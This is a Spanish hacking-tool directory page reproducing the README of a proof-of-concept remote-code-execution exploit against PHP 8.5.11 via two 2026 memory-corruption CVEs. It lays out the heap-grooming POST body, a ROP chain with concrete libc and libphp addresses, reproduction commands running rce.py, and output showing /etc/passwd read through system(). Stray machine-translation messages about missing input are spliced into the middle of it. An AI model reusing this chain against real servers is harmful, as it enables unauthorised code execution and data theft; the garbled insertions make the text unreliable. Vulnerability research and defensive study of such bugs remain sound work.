Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/cookiengineer/actual-php2shell
Seguridad de ContenedoresForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodePapers e InvestigaciónExplotación de Binarios
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 NO, ¡hay una forma sencilla de explotar esta vulnerabilidad! (vibecoded para demostrar un punto)

Ver Repositorio
1763hace 17h 40mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

actual-php2shell

Un PoC de ejecución remota de código reproducible e independiente de la aplicación contra PHP 8.5.11 (los avisos de octubre de 2026). Convierte los dos avisos de corrupción de memoria de PHP de 2026 en system("cat /etc/passwd") con ningún código de aplicación — el index.php de la víctima simplemente devuelve ok.

  • CVE-2026-109618 — el longjmp por OOM abandona un HashTable a medio construir, dejando un bucket colgante que el shutdown destruye. Este es el primitivo de RCE.
  • CVE-2026-109619 — el estado de error propiedad de la petición (el backtrace del error fatal) sobrevive al shutdown de la petición y es liberado de nuevo por la siguiente petición. Este es el primitivo de fuga de información / bypass de ASLR (una demo separada aquí).

Todo es totalmente reproducible en contenedores Podman. El resultado confirmado de extremo a extremo es ./exploits/cve-2026-109618-oom/rce.py leyendo /etc/passwd.


1. La vulnerabilidad (CVE-2026-109618)

Cuando PHP se queda sin memoria llama a zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). En 8.5.11 la inserción en la tabla hash no es fallible en la asignación, por lo que un OOM puede desenrollar con un HashTable a medio modificar.

El sitio corruptor es add_to_hash de _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

Si la copia de la clave zend_string_init sufre OOM, el bucket p queda sin escribir (key/h/val todos obsoletos) pero nNumUsed ya se ha incrementado. Al apagar la petición zend_array_destroy() recorre los buckets de nNumUsed y llama a i_zval_ptr_dtor(&p->val) sobre el val basura del bucket sin escribir — un valor con forma de atacante. La corrección de 8.5.12 reemplaza cada una de esas asignaciones con variantes falibles (femalloc/fperealloc2 + HASH_FALLIBLE) para que la inserción retorne limpiamente en lugar de abortar.

2. El equilibrio del grafo de objetos / heap-feng-shui

El exploit consiste enteramente en conseguir que un bloque controlado de 2560 bytes sea el arData del HashTable cuyo último bucket es el bucket OOM. Los valores que tuvieron que equilibrarse, y por qué:

Tipo / variableTamañoRol
cabecera de zend_array (HashTable)56 BarData, nNumUsed, nTableSize, pDestructor
Bucket32 Bval(16) + h(8) + key(8); el no escrito es nuestro objetivo
zval16 Bvalue(8) + u1.type_info(4) + u2(4) — establecemos type_info
zend_stringcabecera de 24 B + datosel valor de relleno; su longitud elige el bin del asignador
zend_object56 Bobjeto falso: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj es el gadget de pivote
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[] (bin 28 = 2560 B)

Los dos hechos del asignador de los que depende todo el feng-shui:

  1. El arData de una tabla de 64 buckets es exactamente 2560 bytes = bin 28 (HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), porque HT_SIZE_TO_MASK(n) = -(2n).
  2. b150 (recorrido) y b0e0 (descartado) son dos copias de $_POST["a"] creadas por la ruta SEPARATE_ARRAY/indirecta de la symtable; cada campo a[<large>][c]=v inserta la clave <large> en ambas, y b0e0 está siempre 1 clave por delante. Solo b150 es destruido por php_request_shutdown, por lo que el OOM debe recaer sobre b150.

3. La cadena completa (ver rce.py)

El cuerpo de la petición es un POST urlencoded:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift (~40 KB) consume justo la memoria suficiente para que el OOM se dispare en la primera inserción del campo OOM, es decir, en b150 (la tabla recorrida), no en el b0e0 descartado.
  2. pad=<2528 B>: add_post_var hace estrndup(A) y luego ZVAL_STRINGL_FAST(B, copy). Medido B = padlen + 32, por lo que padlen=2528 da A = 2529 y B = 2560 — ambos bin 28. A se libera mediante la ruta de estrndup.
  3. pad=x (clave duplicada) aplica DTOR a la copia retenida B, liberando una segunda, distinta ranura de bin 28. Ahora el redimensionamiento 32→64 de b150 reutiliza B — nuestros bytes controlados se convierten en el arData de b150.
  4. Los bytes de relleno colocan el payload en la cola controlada del arData (buckets 46–63, offset bruto ≥ 1984) — no en el offset 0x100, que es el array hash reescrito por zend_hash_rehash.
  5. El bucket no escrito (offset bruto 1952 = offset de relleno 1928) se establece en IS_OBJECT con value.obj = &fake_object.
  6. El apagado lo recorre: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); un GET /leak.txt posterior devuelve el archivo.

Dos requisitos sutiles que costaron tiempo real de depuración (ambos en rce.py):

  • El objeto falso/ROP debe situarse en la cola del arData; el offset de relleno 0x100 es el array hash y se sobrescribe.
  • __libc_system usa movaps (alineado a 16 bytes), por lo que se inserta un gadget ret adicional entre pop rdi; ret y system — de lo contrario se produce un SIGSEGV dentro de __libc_system antes de execve.

4. Direcciones objetivo (ASLR desactivado, setarch -R)

Medidas contra php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Las bases de libphp/libc son las mismas en toda la compilación base; el offset del heap B cambia con las librerías instaladas (la instalación de gdb lo movió), así que vuelve a medir B para una imagen diferente, o resuélvelo mediante la fuga de información para ASLR activado.

SímboloDirección
base de libphp0x7ffff4400000
base de libc0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
chunk principal ([anon:zend_alloc])0x7ffff7200000
B (bloque bruto de arData = b150->arData - 512)0x7ffff725e400
handlers falsosB + 24 + 2000 = 0x7ffff725ebe8
objeto falsoB + 24 + 2048 = 0x7ffff725ec18
cadena cmdB + 24 + 2200 = 0x7ffff725ecb0

La cadena ROP (relativa al objeto falso, o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. Reproducir

Requiere Podman. Desde la raíz del repositorio:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

No se proporcionó contenido de entrada. El mensaje contiene únicamente las instrucciones y la etiqueta "INPUT:" seguida de "Expected output:", sin ningún texto fuente que traducir.

Por favor, proporcione el contenido Markdown del fragmento 9/15 que debe traducirse.

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Otras demostraciones

Descargar herramienta